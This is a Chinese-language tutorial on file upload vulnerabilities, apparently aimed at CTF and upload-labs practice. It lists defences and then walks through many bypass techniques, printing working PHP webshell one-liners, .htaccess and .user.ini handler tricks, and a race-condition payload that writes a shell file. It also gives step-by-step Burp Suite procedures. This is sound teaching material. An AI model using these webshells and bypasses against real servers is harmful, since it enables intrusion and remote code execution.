文件上传漏洞总结

前情提要

引子

提到文件上传,大家能想到什么呢?

作业上传?

头像上传?

或者是视频投稿?

我们可以发现,文件上传在生活中随处可见。

但是,如果开发者没有对上传的文件做足够的校验与隔离,上传功能就可能成为入侵的入口 —— 上传 Webshell、触发远程代码执行(RCE)、引发信息泄露、造成资源耗尽等后果。

文件上传漏洞简介

文件上传,即客户端(通常是浏览器、App 或脚本)把本地的文件传到服务器,让服务器保存并使用。

在 Web 里,“文件上传”一般是指通过 HTTP/HTTPS 请求,把文件作为请求体的一部分发到服务器。 最常见的方式是 HTML 表单中的 <input type="file">,提交后浏览器会自动把文件内容打包进请求(通常是 multipart/form-data 格式)。

为什么会产生文件上传漏洞?

开发者过度信任用户上传的文件,没有对文件进行充分、严格的验证和限制。

防御措施:

  1. 使用白名单:只允许特定的、安全的文件扩展名和MIME类型。
  2. 重命名文件:使用随机生成的文件名,避免使用用户提供的文件名。
  3. 验证文件内容:检查文件头的魔术数字,确保文件真实类型与扩展名匹配。
  4. 隔离上传文件:将文件上传到Web根目录之外的独立服务器或目录,通过一个安全的脚本(如PHP的readfile())来代理访问这些文件,防止直接执行。
  5. 设置正确的权限:确保上传目录没有执行权限。
  6. 对图片进行二次处理:如图片缩放、裁剪,以破坏潜在的恶意代码。
  7. 扫描病毒:对上传的文件进行病毒扫描(如果适用)。
  8. 限制文件大小:防止资源耗尽攻击。

接下来会详细介绍可能会存在的漏洞及利用方式

文件上传漏洞及绕过方式总结

前端js验证绕过

校验是通过前端javascript代码完成的。恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件

判断是否存在js绕过漏洞:可以通过比较上传允许的图片文件和不允许的文件类型产生的网络影响进行比较。当存在前端验证时,如果文件类型不合法会直接在前端进行拦截并提示,文件往往不会传输到后端进行处理,因此不会产生网络流量。当上传合法文件时,文件会被传送到后端,这样就会有网络流量的产生。

绕过手段:

1.修改js代码

将文件上传的后缀名限制修改为php

2.删除或禁用JS

3.使用代理篡改上传绕过

先上传.jpg文件再通过burpsuite改为.php,蚁剑连接

后端

黑名单

网站设立的文件上传检验主要是通过黑名单排除实现的。

特殊解析后缀名

由于开发时设置的黑名单规则不严谨,使得上传某些带有特殊后缀的文件时,文件能够成功绕过检测并当作成脚本文件执行。例如:php1、php2、php3、php4、php5、php6、php7、pht、phtm、phtml等

<注意>:特殊后缀名能否被解析,关键看后台apache文件夹的conf/httpd.conf文件中AddType application/x-httpd-php .php .phtml 等等 是否包含了相应的后缀名

.htaccess(apache)

用户上传带有命令的.htaccess文件,可以让指定文件作为脚本语言解析。(前提是后端没有禁用)

准备.htaccess文件,然后写入代码:

<FilesMatch "XXX">
SetHandler application/x-httpd-php
</FilesMatch>

上传至后端,这样一来,Apache会将文件名为“XXX”的文件统一当作php文件解析。

然后接着上传带有脚本命令的图片类型文件即可。

绕过exif_imagetype()上传.htaccess

.htaccess

#define width 66
#define height 66
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后蚁剑连接就可以

.user.ini

用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置

首先我们编写一个”.user.ini“文件

auto_prepend_file=cmd.jpg

上传cmd.jpg

我们并不能完全肯定upload目录下的主页文件是哪个,所以我们可以直接访问upload目录

用蚁剑连接,结合具体题目

https://ae1b1446-fbe2-4179-90ac-3315ca849c79.challenge.ctf.show/upload/

http://node6.anna.nssctf.cn:23249/uploads/notion.php

大小写绕过

服务器在检查上传文件后缀名时,虽然黑名单列表中有相应的非法后缀,但是未考虑到字母大小写的影响(没有统一处理后缀名大小写),用户可以通过改变非法后缀名的某一个字母的大小写,从而达到绕过目的。

没有设置以下安全函数

$file_ext = strtolower($file_ext); //转换为小写

可以采用大小写绕过的方法:cmd.PHP

空格绕过

后端没有对文件名中的空格字符进行处理,使得截取到的后缀名字符串无法匹配对上黑名单中的字符串。

没有设置以下安全函数

$file_ext = trim($file_ext); //首尾去空

文件名后缀加空格绕过:’cmd.php ‘

点绕过

当后端没有对文件名末尾的点进行处理时(即没有设置相关函数去移除名字末尾的点),这时截取的后缀名中就带了点字符,使得截取到的后缀名字符串无法匹配对上黑名单中的字符串。Windows会将 cmd.php. 解释为没有扩展名的文件,因为末尾的点会被忽略。文件的实际名称会变成 cmd.php,但扩展名会被视为不存在

没有设置以下安全函数

$file_name = deldot($file_name);//删除文件名末尾的点

在文件格式后面加点. :cmd.php.

::$DATA绕过

后端Windows的环境下,在php文件后缀名后面加上“::$DATA”,系统首先会将“::$DATA”后面的数据当作文件流处理,而不会检查后缀名,上传成功后,系统会自动将“ ::$DATA “去除。

没有设置以下安全函数

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

上传PHP一句话文件,抓包改后缀cmd.php::$DATA 然后使用蚁剑连接cmd.php (注意蚁剑连接路径不要加上::$DATA)

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

双点绕过

如果有设置以下安全函数

$file_name = deldot($file_name);//删除文件名末尾的点

可以构造cmd.php. .

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止但是遇到空格会停下来

deldot()函数遇到空格会停止

双写绕过

如果有设置函数

$file_name = str_ireplace($deny_ext,"", $file_name); //必须替换成空格

cmd.php 然后用bp改后缀为.pphphp

js马及php短标签绕过

常用木马:

一句话木马:

有时候会对一句话木马的<?php过滤 ,需要用到js马

js****马:

<script language='php'>@eval($_POST['cmd']);</script>

如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:

<? eval($_REQUEST['code']); ?>

或者

<?=shell_exec($_GET['cmd'])?> #在PHP 5.4.0及更高版本中默认开启

白名单

网站设立的文件上传检验主要是通过白名单排除实现的。

修改MIME信息绕过

MIME头是什么?

MIME 头(MIME header,全称 Multipurpose Internet Mail Extensions 头部)是电子邮件或 HTTP 协议中用来描述数据类型、格式、编码方式等信息的元数据头。它的主要作用是告诉接收方如何正确理解和处理消息体中的数据

MIME 头本质上就是消息的头部字段,常见的有:

  • Content-Type 指明消息体的媒体类型(MIME 类型)。 例如:
    • Content-Type: text/plain; charset=UTF-8 (普通文本)
    • Content-Type: text/html; charset=UTF-8 (HTML 文本)
    • Content-Type: image/png (PNG 图片)
    • Content-Type: multipart/mixed (复合类型,比如邮件正文+附件)
  • Content-Transfer-Encoding 指明数据在传输过程中使用的编码方式(因为某些系统只能传输 ASCII,需要把二进制转码)。 常见值:
    • 7bit (纯 ASCII 文本)
    • quoted-printable (主要用来编码带有特殊字符的文本)
    • base64 (常用于二进制附件,比如图片、PDF)
  • Content-Disposition 指定数据在客户端的处理方式。 例如:
    • inline (内嵌显示)
    • attachment; filename="report.pdf" (作为附件下载)
  • MIME-Version 表示 MIME 的版本,通常是 MIME-Version: 1.0

我们上传文件会发送HTTP请求,在http包中会带有区分文件类型的MIME信息,网站后端可以通过MIME信息Content-Type字段判断文件类型。抓包工具可以任意修改 HTTP 请求里的 **Content-Type** 字段, 从而实现绕过。

如果后端仅比对这个字段(比如只允许 image/png),攻击者可以将任意文件(例如 webshell.php)以 Content-Type: image/png 上传,从而绕过类型检查。

后端代码举例:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

00截断

“00 截断”(null byte truncation)利用的是操作系统和低级语言对字符串终止符的约定:在 C 语言及许多底层实现中,字符串以空字符 '\0'(即十六进制 0x00)作为结束标志。若攻击者在文本或路径中注入该字节,接受字符串的底层实现会在此处将其视为终结,从而截断后续内容。

这种截断可以被用来绕过基于字符串或路径的白名单检查。例如在某些场景下,应用层逻辑看到的字符串(可能经过若干解析/转码)未包含危险后缀,但在操作系统或底层 API 处理路径时,0x00 会导致真实文件名被截短,从而使恶意文件写入到意想不到的位置或规避后端过滤。

使用条件:1.PHP版本<5.3.29 2.php.ini配置中magic_quotes_gpc=off

如果函数:(get和post同理)

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){



$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

含有函数move_uploaded_file 且白名单中最终文件的存放位置是以拼接的方式

get方式:

上传cmd.png用BP抓包修改参数,把upload/后面加上cmd.php%00

**+号**的Hex是**2b**,这里我们要把它改为**00**

post方式:

上传cmd.png用BP抓包修改参数,在../upload/ 路径下加上cmd.php+``+号是为了方便后面修改Hex

+号的Hex是2b,这里我们要把它改为00

然后就可以放包了,复制图片地址并用蚁剑进行连接(注意删掉后面多余部分),连接成功

字节标识与图片马绕过

适用条件:存在文件包含模块

图片字节标识:

如果含有以下代码,说明检查字节标识

getimagesize()

exif_imagetype()

有以下两种方法绕过:

法一:字节标识绕过

将.php改为.jpg后用记事本打开,在一句话木马前加上占位符aa

用010editor打开,修改头两个字节为jpg对应的FF D8,保存一下

上传后,用文件包含刚上传的文件,比如?file=./upload/8888.jpg

用蚁剑连接

法二:图片马绕过

通过cmd生成图片马 使用以下指令制作图片马

copy normal.jpg/b + cmd.php tupianma.jpg

上传后,用文件包含刚上传的文件,用蚁剑连接

GIF89a绕过

有时会对文件内容进行检测,这时我们可以用GIF89a来伪装成图片

二次渲染绕过

概念说明: 服务器在接收到用户上传的图片后,常会对其进行二次处理 —— 如裁剪、缩放、压缩或重编码 —— 并用处理后的结果替换原图。若上传的图片中包含恶意脚本或嵌入载荷,这些处理步骤往往会破坏或改变图像内部的数据结构,从而使原有的脚本失效或被清除。

基本原理: 通过对比处理前后的图像文件,分析哪些字节或数据块在渲染/重编码过程中被保留不变。攻击者可针对这些“保留区”在上传时嵌入精心构造的数据(例如脚本片段),以期在二次处理后仍然保留足够的信息,达到绕过过滤或在后续使用时触发恶意行为的目的。

适用条件:存在文件包含模块

如果出现以下代码,需要使用二次渲染绕过

二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

重写后会删去原图片马中的php部分,所以需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话

一般通过.gif格式文件执行

将上传重写后的gif下载,通过010里面的比较工具对比(在tools里面)

点击match,随便找一个公共部分插入木马即可

直接上传然后进行文件包含,蚁剑连接

条件竞争绕过

绕过方法:burpsuite爆破

让我们来看一道例题

审计代码,发现文件先从临时目录被上传到服务器之后再进行白名单的判断

先上传,后删除,中间有一个极短的窗口期,文件是在服务器中的,可以进行操作——条件竞争漏洞

在检测出不合法之前访问一次,从而生成小马

先上传含有小马的php文件,用burpsuite抓包

<?php fputs(fopen('cmd.php','w'),'<?php @eval($_POST["cmd"])?>');?

右键发送到攻击模块intruder,清除payload位置

设置payload类型为null,无限重复

设置线程为20,间隔为0

访问race.php并抓包,发送到intruder

修改payload类型和线程

同时启动上传和读取的攻击模块,查看记录会发现有一次访问成功的

访问成功

蚁剑连接,连接成功

先检查文件后缀再移动、改名

可以利用apache漏洞,将文件后缀改为.php.7z

因为apache不能解析.7z后缀,所以会跳过直接解析.php后缀,从而实现绕过(注意nginx没有这个漏洞)

然后利用条件竞争绕过

逻辑数组绕过

我们还是看一道例题

$is_upload      = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; //如果保存名称为空,则使用上传的文件名
if (!is_array($file)) {
$file = explode('.', strtolower($file)); //在“.”上分割字符串
}
$ext = end($file); //指向数组最后一位,这里用来获取后缀名

$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";

}else{
$file_name = reset($file) . '.' . $file[count($file) - 1]; //拼接字符串数组中的头元素和尾部元素,以形成文件名
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;

if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

关键代码:

绕过以上代码的逻辑如下:

$file[0]=cmd.php
$file[3]=jpg

end($file)=jpg

一共两个值,读取的是:
$file[2-1]=null

拼接完是:
cmd.php.(null)

最终payload:

推荐练习靶场:https://github.com/c0ny1/upload-labs

……还有更多绕过方式等待大家去挖掘!